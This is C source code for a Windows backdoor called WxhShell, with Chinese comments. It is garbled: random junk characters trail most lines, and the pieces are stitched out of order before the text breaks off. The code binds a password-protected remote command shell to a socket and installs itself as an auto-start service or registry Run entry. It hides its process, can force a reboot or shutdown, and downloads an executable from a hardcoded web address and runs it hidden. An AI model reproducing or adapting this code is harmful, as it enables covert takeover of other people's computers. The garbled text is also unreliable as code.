    closesocket(wsh); k VQ\1!  
    ExitThread(0); Rlirs-WQ  
    } {l >hMxij  
    break; Z%\,w(o[h  
    } vr^qWn  
  // 关机 40 0#v|b  
  case 'd': { sx<%2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4X|zmr:A  
    if(Boot(SHUTDOWN)) igAtRX%Qx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW3!Yg@  
    else { OZ!^ak  
    closesocket(wsh); cCc( fF*^  
    ExitThread(0); Rws3V"{`[  
    } dcT80sOC  
    break; TuqH*{NNy9  
    } G*v,GR  
  // 获取shell jF*j0PkNdb  
  case 's': { & ZB  
    CmdShell(wsh); ^sg,\zD 'X  
    closesocket(wsh); "C3/T&F  
    ExitThread(0); >yh2Lri  
    break; <rSF*  
  } /H+a0`/  
  // 退出 q"_QQ~  
  case 'x': { \5cpFj5%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GowH]MO  
    CloseIt(wsh); Dn}Jxu'(  
    break; 5rUdv}.  
    } uRe'%?W  
  // 离开 k-""_WJ~^  
  case 'q': { Pr,q*_Yy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W+1^4::+  
    closesocket(wsh); *4_Bd=5(U  
    WSACleanup(); 8e"gW >f  
    exit(1); mlS$>O_aX  
    break; c_l"I9M#r  
        } eKqk= (  
  } qb` \)X]9  
  } eQvg7aO;  
O%HHYV%[m  
  // 提示信息 Jqi%|,/]N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w"&n?L  
} k+l b@!  
  } BJo*'US-Q  
R_S.tT!  
  return; jOD?|tK&  
} 2T[9f;jM'  
'>C5-R:O  
// shell模块句柄 S?BG_J6A7  
int CmdShell(SOCKET sock) c-FcEW  
{ *EwR!L*  
STARTUPINFO si; YkQd  
ZeroMemory(&si,sizeof(si)); s=/v';5J2!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @2v_pJy^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7W.~  
PROCESS_INFORMATION ProcessInfo; d4z/5Oa  
char cmdline[]="cmd"; 6Sn.I1Wy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zT?D<XW>1  
  return 0; Tc3yS(aq  
} =[jXe  
0NX,QD  
// 自身启动模式 x# 5A(g  
int StartFromService(void) gt w Q-  
{ ,U dVNA  
typedef struct D=&Me=$  
{ t}/( b/VD  
  DWORD ExitStatus; c<$OA=n  
  DWORD PebBaseAddress; w_u\sSQ`!  
  DWORD AffinityMask; `%WU8Yv  
  DWORD BasePriority; CF5`-wj/#  
  ULONG UniqueProcessId; Q6I:"2u1  
  ULONG InheritedFromUniqueProcessId; O463I.XAP  
}   PROCESS_BASIC_INFORMATION; &W6^sj*k5U  
e6RPIg  
PROCNTQSIP NtQueryInformationProcess; W X6&oy>  
0'?L#K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %z 4Nl$\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,:\|7F  
))'<_nD  
  HANDLE             hProcess; mF^v~  
  PROCESS_BASIC_INFORMATION pbi; y7Df_|Z  
x5*!Wx   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~Vjl7G\7i  
  if(NULL == hInst ) return 0; O]1(FWYy  
GYUn6P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )U{Qj5W+F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d)f :)Ew  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O#S.n#{  
QWHug:c  
  if (!NtQueryInformationProcess) return 0; e(=w(;84  
gQ1;],_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BbS4m  
  if(!hProcess) return 0; HEc+;O1<  
) M BQuiL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 161xAig  
xbYi.  
  CloseHandle(hProcess); =h73s0 ]  
hv_XP,1K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K1!j fp  
if(hProcess==NULL) return 0; LW_ f  
?]Xpi3k  
HMODULE hMod; L.0mk_&  
char procName[255]; 'qX|jtdM  
unsigned long cbNeeded; Px`!A EFd[  
z]D69O b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HYSIN^<oy  
JQHvz9Yg  
  CloseHandle(hProcess); `t'W2X  
ZlzjVU/E  
if(strstr(procName,"services")) return 1; // 以服务启动 N `F~n%N  
UVIKQpA]A  
  return 0; // 注册表启动 .O}%  
} \<TXS)w]  
!LN?PKJ  
// 主模块 :I^;jdL  
int StartWxhshell(LPSTR lpCmdLine) 5 -RsnF  
{ |f_[\&<*  
  SOCKET wsl; (7=!+'T"  
BOOL val=TRUE; !6>~?gNd  
  int port=0; !fR3 (=oN  
  struct sockaddr_in door; 3Xy-r=N.l  
Z+. '>  
  if(wscfg.ws_autoins) Install(); oij}'|/Jc  
!*bMa8]*  
port=atoi(lpCmdLine); 9b"=9y,  
v+#}rUTF  
if(port<=0) port=wscfg.ws_port; v"XGCi91L  
0+;bh {Eu  
  WSADATA data; F Yzi~L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .-oxb,/  
/Uy"M:|V1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YhE+W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x&Kh>PVh\  
  door.sin_family = AF_INET; w\i\Wp,FP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 64G[|" j D  
  door.sin_port = htons(port); 8sTp`}54 J  
A5R<p+t6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (UvM@]B  
closesocket(wsl); !()$8  
return 1; 9s$CA4?HP  
} jiS_G%G  
![_*(8v}S  
  if(listen(wsl,2) == INVALID_SOCKET) { KZ ;k)O.Ov  
closesocket(wsl); ?+W 9az]+  
return 1; dj7hx"BI  
} mA+&Io  
  Wxhshell(wsl); >TnTnFWX  
  WSACleanup(); !y:v LB#q  
v>Yb/{A  
return 0; :f}9($  
Y^7$t^&  
} !1DKLQ  
s!&#c`=  
// 以NT服务方式启动 v)l8@.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W;L7SF g)  
{ J|kR5'?x  
DWORD   status = 0; (@<c6WS  
  DWORD   specificError = 0xfffffff; ,t9^j3Ixg  
JedmaY06=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X=!^] 3zH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f'-i o<.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4C-jlm)V  
  serviceStatus.dwWin32ExitCode     = 0; $M lW4&a|  
  serviceStatus.dwServiceSpecificExitCode = 0; dzsmIV+  
  serviceStatus.dwCheckPoint       = 0; Mg OR2,cR  
  serviceStatus.dwWaitHint       = 0; q[`]D7W "  
(k) l= ]`}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g-H N  
  if (hServiceStatusHandle==0) return; Y*>#T  
Vq5k+3W+  
status = GetLastError(); W<$Z=(_v  
  if (status!=NO_ERROR) !QHFg-=7  
{ ?NR A:t(}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WD2]&g  
    serviceStatus.dwCheckPoint       = 0; Y/ >&0wj)d  
    serviceStatus.dwWaitHint       = 0; ^xHTWg%9  
    serviceStatus.dwWin32ExitCode     = status; "B4;,+4kR  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ZhG>L*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7X q,z  
    return; o/6-3QUak  
  } T:Hr&ws4  
P8>d6;o($  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YN2sd G  
  serviceStatus.dwCheckPoint       = 0; e2ilB),  
  serviceStatus.dwWaitHint       = 0; SAK!z!t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RGg(%.  
} NufLzg{  
C>$E%=h+_  
// 处理NT服务事件,比如:启动、停止 "@d[h,TM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qg!|l7e  
{ x&9hI  
switch(fdwControl) }L3oR  
{ 4%}*&nsI-Z  
case SERVICE_CONTROL_STOP: :Jy'# c  
  serviceStatus.dwWin32ExitCode = 0; [}8|R0KF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %D8ZO0J7H  
  serviceStatus.dwCheckPoint   = 0; ->O2I?  
  serviceStatus.dwWaitHint     = 0; ryCI>vJz  
  { bKQ"ax>6p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /D^"X 4!"  
  } pN9A{v(  
  return; 8J~1-;  
case SERVICE_CONTROL_PAUSE: Bj}^\Pc;}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T2Y,U {  
  break; T G{k0cdOT  
case SERVICE_CONTROL_CONTINUE: )h|gwERj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4Hn`'+b  
  break; ./D$dbu3  
case SERVICE_CONTROL_INTERROGATE: 80&.JP.  
  break; =gvBz| +  
}; 'XofD}dm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E3l> 3  
} tBT<EV{ G  
w'fT=v)  
// 标准应用程序主函数 $w0lrh[+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f<*Js)k  
{ Ck@J,~x1D  
A"l?:?rtw]  
// 获取操作系统版本 ?wF'<kEH  
OsIsNt=GetOsVer(); qY$qaM^=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HU-QDp%*r7  
~$f;U  
  // 从命令行安装 k`9)=&zX+  
  if(strpbrk(lpCmdLine,"iI")) Install(); .8uz 6~  
pM&YXb?  
  // 下载执行文件 hf<^/@^tK  
if(wscfg.ws_downexe) { 80Y\|)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZP$-uaa-  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1>Dl\czn  
} npyAJp  
k({\/t3i  
if(!OsIsNt) { c$`4*6  
// 如果时win9x,隐藏进程并且设置为注册表启动 o|iYd n\  
HideProc(); A'K%WW*'U  
StartWxhshell(lpCmdLine); )VK }m9Ae  
} [kzd(u  
else 6^n0[7  
  if(StartFromService()) X!},8}~J~  
  // 以服务方式启动 OxtOd\0$  
  StartServiceCtrlDispatcher(DispatchTable); @a>2c$%  
else F3lw@b3])  
  // 普通方式启动 R@yyur~'_(  
  StartWxhshell(lpCmdLine); ~!d/8?!   
5,;`$'?a%  
return 0; ^*= 85iyo  
} \WrFqm#  
deeU@x`f<  
*tX{MSYW  
KZ e)K_1[  
=========================================== hv$m4,0WB  
%77p5ctW  
9 ASb>A2~  
&Q=ZwC7#  
[;oCYb$9  
vN OH&ja-s  
" LaIJ1jf  
lE ;jCN  
#include <stdio.h> y3;q_4.  
#include <string.h> FNQX7O52  
#include <windows.h> +P`(Rf"luu  
#include <winsock2.h> 0l#)fJo  
#include <winsvc.h> m&oi8 P-6  
#include <urlmon.h> =}fd6ea(o  
Q_"\Q/=?Do  
#pragma comment (lib, "Ws2_32.lib") uH^ PQ  
#pragma comment (lib, "urlmon.lib") i=32KI(%  
 `}no9$l~  
#define MAX_USER   100 // 最大客户端连接数 a>B[5I5  
#define BUF_SOCK   200 // sock buffer tAFti+Qb  
#define KEY_BUFF   255 // 输入 buffer hc$@J}`  
a)! g7u  
#define REBOOT     0   // 重启 0ZPV' `KGp  
#define SHUTDOWN   1   // 关机 \hP=-J[~C  
hsG#6?l3  
#define DEF_PORT   5000 // 监听端口 DV]7.Bm  
4oXbPr>  
#define REG_LEN     16   // 注册表键长度 QldzQ%4c\  
#define SVC_LEN     80   // NT服务名长度 2o[IHO]  
td-3h,\\  
// 从dll定义API agOk*wH5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]y)Q!J )Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y466A]|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dd7 =)XT+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k6?cP0I)5  
]&i+!$N_  
// wxhshell配置信息 =OV2uq  
struct WSCFG { E)t  
  int ws_port;         // 监听端口 -#A:`/22  
  char ws_passstr[REG_LEN]; // 口令 jUjr6b"  
  int ws_autoins;       // 安装标记, 1=yes 0=no x@cN3O  
  char ws_regname[REG_LEN]; // 注册表键名 W)SjQp6  
  char ws_svcname[REG_LEN]; // 服务名 EZ(^~k=I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?&h3P8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jV7&Y.$zF]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vU/ D7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P-JfV7(O8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jlKGXD)Q[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HrqF![_  
8!h'j  
}; "t&{yBQ0u  
GZ0aOpUWVq  
// default Wxhshell configuration cc >  
struct WSCFG wscfg={DEF_PORT, JAn1{<Ky  
    "xuhuanlingzhe", i&@,5/'-_O  
    1, X#+`e+Df  
    "Wxhshell", Ha ZFxh-(  
    "Wxhshell", abY0)t  
            "WxhShell Service", {.#zHL ;  
    "Wrsky Windows CmdShell Service", 3BMS_,P  
    "Please Input Your Password: ", _Nu` )m  
  1, iM64,wnA  
  "http://www.wrsky.com/wxhshell.exe", g^o_\ hp  
  "Wxhshell.exe" j=.g :&r)  
    }; ?'~;Q)  
VvgN3e[  
// 消息定义模块 '=TTa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \kwe51MQ  
char *msg_ws_prompt="\n\r? for help\n\r#>";  "jU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .Y/-8H-3v  
char *msg_ws_ext="\n\rExit."; GMFc K=  
char *msg_ws_end="\n\rQuit."; Cals?u#U=  
char *msg_ws_boot="\n\rReboot..."; /.Wc_/  
char *msg_ws_poff="\n\rShutdown..."; x9`ZO< L$  
char *msg_ws_down="\n\rSave to "; ,eELRzjl  
R/N<0!HZ  
char *msg_ws_err="\n\rErr!"; p\ txlT  
char *msg_ws_ok="\n\rOK!"; !5;t#4=  
l/V&s<  
char ExeFile[MAX_PATH]; hrlCKL&  
int nUser = 0; R;=6VH  
HANDLE handles[MAX_USER]; urxqek  
int OsIsNt; -g2{68 1`r  
Q}uG/HI  
SERVICE_STATUS       serviceStatus; ]b\WaS8I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s 4IKSX  
m0iV m|  
// 函数声明 Pw #2<>  
int Install(void); #6FaIq92V  
int Uninstall(void); 'j /q76uXV  
int DownloadFile(char *sURL, SOCKET wsh); chwh0J;  
int Boot(int flag); 2?*1~ 5~I  
void HideProc(void); bf^ly6ml  
int GetOsVer(void); F9D"kG;Dk  
int Wxhshell(SOCKET wsl); .5k^f5a  
void TalkWithClient(void *cs); s@M  
int CmdShell(SOCKET sock); }@4| 7  
int StartFromService(void); v j@V !j?  
int StartWxhshell(LPSTR lpCmdLine); w2<*$~C]  
KH)pJG|NY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cs;<'[_?YO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g&aT!%QvX+  
<\xQ7|e  
// 数据结构和表定义 '!j(u@&!  
SERVICE_TABLE_ENTRY DispatchTable[] = ]*h&hsS 0  
{ p d%LL?O  
{wscfg.ws_svcname, NTServiceMain}, 7#/|VQX<A  
{NULL, NULL} 3\9][S-B  
}; r?XDvU  
&*c'uN w  
// 自我安装 ,9$>d}N  
int Install(void) ;W4:#/~14  
{ ;op'V6iG  
  char svExeFile[MAX_PATH]; o9^$hDs,si  
  HKEY key; (HaU,vP  
  strcpy(svExeFile,ExeFile); \Em-.%c  
YmA) @1@U  
// 如果是win9x系统,修改注册表设为自启动 vD"_X"v  
if(!OsIsNt) { ;C6O3@Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |7Yvq%E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | )S{(#k  
  RegCloseKey(key); _/8y1) I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GHqBnE{B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j!"iYtgV  
  RegCloseKey(key); )m>6hk  
  return 0; _fe0,  
    } rQuOt  
  } 5]Z]j[8Y  
} DD)mN) &T  
else { )<tzm'Rc  
jBGG2[hV  
// 如果是NT以上系统,安装为系统服务 2@OBeR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); orK+B4  
if (schSCManager!=0) AIf[W">\  
{ q 8tP29  
  SC_HANDLE schService = CreateService "&s9cO.H  
  ( Ed8U;U b  
  schSCManager, W=!F8g|Qz  
  wscfg.ws_svcname, sL;z"N@PK  
  wscfg.ws_svcdisp, eF*TLI<[^I  
  SERVICE_ALL_ACCESS, KX$qM g1j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aslNlH6  
  SERVICE_AUTO_START, y`T--v3mI  
  SERVICE_ERROR_NORMAL, x*k65WO\  
  svExeFile, z;``g"dSw  
  NULL, /,-h%gj  
  NULL, U=_~{[/  
  NULL, v_[)FN"]Y.  
  NULL, c4S>_qH  
  NULL #xD&z^o  
  ); 19pND m2H1  
  if (schService!=0) 0:PH[\Z  
  { c g3Cl[s  
  CloseServiceHandle(schService); 0]/,m4a#n  
  CloseServiceHandle(schSCManager); uVoF<={  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cS. 7\0$  
  strcat(svExeFile,wscfg.ws_svcname); ~t1O]aO(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ktkn2Twa/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d)pz  
  RegCloseKey(key); :%+^}   
  return 0; ;Hz`0V  
    } 8N</Yi|n  
  } )F=JkG  
  CloseServiceHandle(schSCManager); d "QM;9  
} FCUVP,"T  
} m? ]zomP  
/gMa"5?,  
return 1; jb#1&L 14  
} z_)OWWdN  
FkB6*dm-  
// 自我卸载 ~5XL@jI^  
int Uninstall(void) 4O5n6~24  
{ ^59YfC<f  
  HKEY key; Q>06dO~z8  
>llwNT  
if(!OsIsNt) { ZEXj|wC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P@o,4\;K  
  RegDeleteValue(key,wscfg.ws_regname); BXKlO(7  
  RegCloseKey(key); <s59OdzP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lN*1zM<6;  
  RegDeleteValue(key,wscfg.ws_regname); $; KQY7  
  RegCloseKey(key); c1Fru  
  return 0; GA%"w=M\  
  } xIq"[?m  
} 6qmo ZAg  
} `W.vW8 !#  
else { [TpA26#TTO  
Q KDb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p: Q%Lg_I  
if (schSCManager!=0) CguU+8 ]  
{ hr$VVbOho  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *h5ldP  
  if (schService!=0) h!X'SGK  
  { 6@ (k8<3  
  if(DeleteService(schService)!=0) { v3VLvh 2)n  
  CloseServiceHandle(schService); Rd@n?qB  
  CloseServiceHandle(schSCManager); v"Ud mv"  
  return 0; yC&b-y  
  } nJM9c[Ou^H  
  CloseServiceHandle(schService); =km-` }I,  
  } 1Q2k>q8  
  CloseServiceHandle(schSCManager); k8t Na@H  
} B[U.CAUn  
} zei9,^ C  
PL$(/Z  
return 1; L3h xe]mr  
} h9)]N&07b  
\8@[bpI@g  
// 从指定url下载文件 S:B- nI  
int DownloadFile(char *sURL, SOCKET wsh) (VF4FC  
{ y>pq*i  
  HRESULT hr; Sv^'CpQ  
char seps[]= "/"; fSQ3 :o  
char *token; >sl1 cC  
char *file; \qK}(xq[  
char myURL[MAX_PATH]; U}C#:Xi>$  
char myFILE[MAX_PATH]; \Kzt*C-ZH  
{bq-: CZe  
strcpy(myURL,sURL); oJz:uv8Pe.  
  token=strtok(myURL,seps); `QyALcO   
  while(token!=NULL) {0Ol/N;|D  
  { 0Ts_"p  
    file=token; >i#_)th"U!  
  token=strtok(NULL,seps); JEkIbf?=r  
  } J9KLO=  
6@_@nlA<1  
GetCurrentDirectory(MAX_PATH,myFILE); Xta>  
strcat(myFILE, "\\"); HDae_.  
strcat(myFILE, file); %`uRUex  
  send(wsh,myFILE,strlen(myFILE),0); u Z39Vx  
send(wsh,"...",3,0); BNKo6:wy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YC,.Y{oY{  
  if(hr==S_OK) p(b1I+!  
return 0; 5Z>pa`_$2  
else N\?Az668?  
return 1; *U^\Mwp  
$\J9F=<a  
} \5pAG mgD  
< $?}^ 0R  
// 系统电源模块 (R|FQdH  
int Boot(int flag) %K f . F  
{ ah$7 Oudj  
  HANDLE hToken; -D^y)  
  TOKEN_PRIVILEGES tkp; sN` o_q{Q  
Appz1q  
  if(OsIsNt) { :8!3*C-=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]GPz>k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ru\Lr=9  
    tkp.PrivilegeCount = 1; ?%fZvpn-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3ij I2Zy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t>|N4o  
if(flag==REBOOT) { vz_g2.7l\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `g:^KCGMM  
  return 0; $j2)_(<A%Q  
} R~c vml  
else { )B5gs%u]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?)QBJ9F  
  return 0; VKJ~ZIO@A  
} NF.6(PG|  
  } w\;9&;;  
  else { Tq_X8X#p  
if(flag==REBOOT) { GyM%vGl 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' oeg [  
  return 0; ] Sx= y<  
} `} Zbfe~  
else { Cspm\F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I=Dk'M  
  return 0; 7tO$'q*h  
}  KGwL09)  
} tnbs]6  
|a:VpM  
return 1; W ]MJ!4  
} q@Yt`$VTN  
`V2j[Fz  
// win9x进程隐藏模块 SJ_cwYwI$  
void HideProc(void) h_"/@6  
{ ;mKU>F<V  
_ll aH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =QO[zke:  
  if ( hKernel != NULL ) &{{f|o=u.  
  { 0c6AQP"=V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n|2-bRK-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KKJ[  
    FreeLibrary(hKernel); t|"d#5'  
  } #IA(*oM  
mzR @P$:36  
return; ;//q jo  
} Y[]t_o)  
3;gtuqwD$  
// 获取操作系统版本 <:t\P.  
int GetOsVer(void) qz SI cI  
{ yC$7XSr=  
  OSVERSIONINFO winfo; o*BI^4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YAG3PWmD  
  GetVersionEx(&winfo); {oeQK   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <4bo7XH  
  return 1; k~F/Ho+R&  
  else D4-U[l+K>  
  return 0; DQQjx>CK  
} z:7F5!Z  
R7b*(33  
// 客户端句柄模块 DYl{{L8@  
int Wxhshell(SOCKET wsl) \~1+T  
{ 9xp ;$14  
  SOCKET wsh; U2u>A r  
  struct sockaddr_in client; e@VRdhb  
  DWORD myID; # =3]bg  
U<gw<[>f  
  while(nUser<MAX_USER) )ISTb  
{ 9?6$ 2I  
  int nSize=sizeof(client); 4w[ta?&6B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "VCr^'  
  if(wsh==INVALID_SOCKET) return 1; }H.vH  
j(2T,WM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  e:R[  
if(handles[nUser]==0) o`0H(\en  
  closesocket(wsh); (k45k/PAP  
else @ U|u _S@  
  nUser++; ^Y |s^N  
  } $sJfxh r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q;JQs:U!  
s:H1v&t,<  
  return 0; A/aQpEb%  
} v$Z1Lh  
LOzKpvGl  
// 关闭 socket XPKcF I=  
void CloseIt(SOCKET wsh) (#lS?+w)  
{ u> Hx#R<*%  
closesocket(wsh); mD3#$E!A1  
nUser--; GK+w1%6)  
ExitThread(0); O:)@J b2  
} 9b6h!(  
iL<O|'be  
// 客户端请求句柄 jRc#>;dN  
void TalkWithClient(void *cs) cB^lSmu5  
{ C? S%fF  
vD t? N9  
  SOCKET wsh=(SOCKET)cs; 9:s!#FYFM  
  char pwd[SVC_LEN]; |1R @Jz`  
  char cmd[KEY_BUFF]; 3E-&8x7uYR  
char chr[1]; 8pk">"#s  
int i,j; Jjv&@a}  
S0cO00_ob  
  while (nUser < MAX_USER) { W#7c`nm  
t[Q\T0E  
if(wscfg.ws_passstr) { A:(uK>5{Kk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F44")fY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zlhr0itf  
  //ZeroMemory(pwd,KEY_BUFF); X*@S j;|m  
      i=0; sXA=KD8  
  while(i<SVC_LEN) { X@rAe37h+  
:O2N'vl47A  
  // 设置超时 NT0q!r/!  
  fd_set FdRead; %0QYkHdFR`  
  struct timeval TimeOut; fy5)Tih%.*  
  FD_ZERO(&FdRead); rE 8-MB  
  FD_SET(wsh,&FdRead); t"Rn#V\c."  
  TimeOut.tv_sec=8; QMP:}  
  TimeOut.tv_usec=0; V! p;ME  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [/FIY!nC?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .vg;K@{  
oID, PB*9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G6FknYj  
  pwd=chr[0]; H|]Q;,C  
  if(chr[0]==0xd || chr[0]==0xa) { }I"^WCyH  
  pwd=0; v2NzPzzyb  
  break; HUH=Y;  
  } 6Y=)12T  
  i++; 8l6R.l  
    } raCxHY  
{>#Ya;E  
  // 如果是非法用户,关闭 socket Onao'sjY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9#+X?|p+0  
} /1YqDK0  
YvonZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]'Bz%[C)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nL9m{$Zv  
)9s[-W,e  
while(1) { c(:GsoO  
B--`=@IRf"  
  ZeroMemory(cmd,KEY_BUFF); ,xGkE7=5  
RaR$lcG+iY  
      // 自动支持客户端 telnet标准   s<:J(gD  
  j=0; n,`&f~tap  
  while(j<KEY_BUFF) { u?!p[y6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qSON3Iid  
  cmd[j]=chr[0]; :%R3( &  
  if(chr[0]==0xa || chr[0]==0xd) { WK-WA$7\  
  cmd[j]=0; N7XRk= J  
  break; DF<_Ns!  
  } :2La,  
  j++; a4?:suX$  
    } {C [7V{4(%  
US-P>yF  
  // 下载文件 h/d&P  
  if(strstr(cmd,"http://")) { YDP<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fN@2 B  
  if(DownloadFile(cmd,wsh)) OX!9T.j  
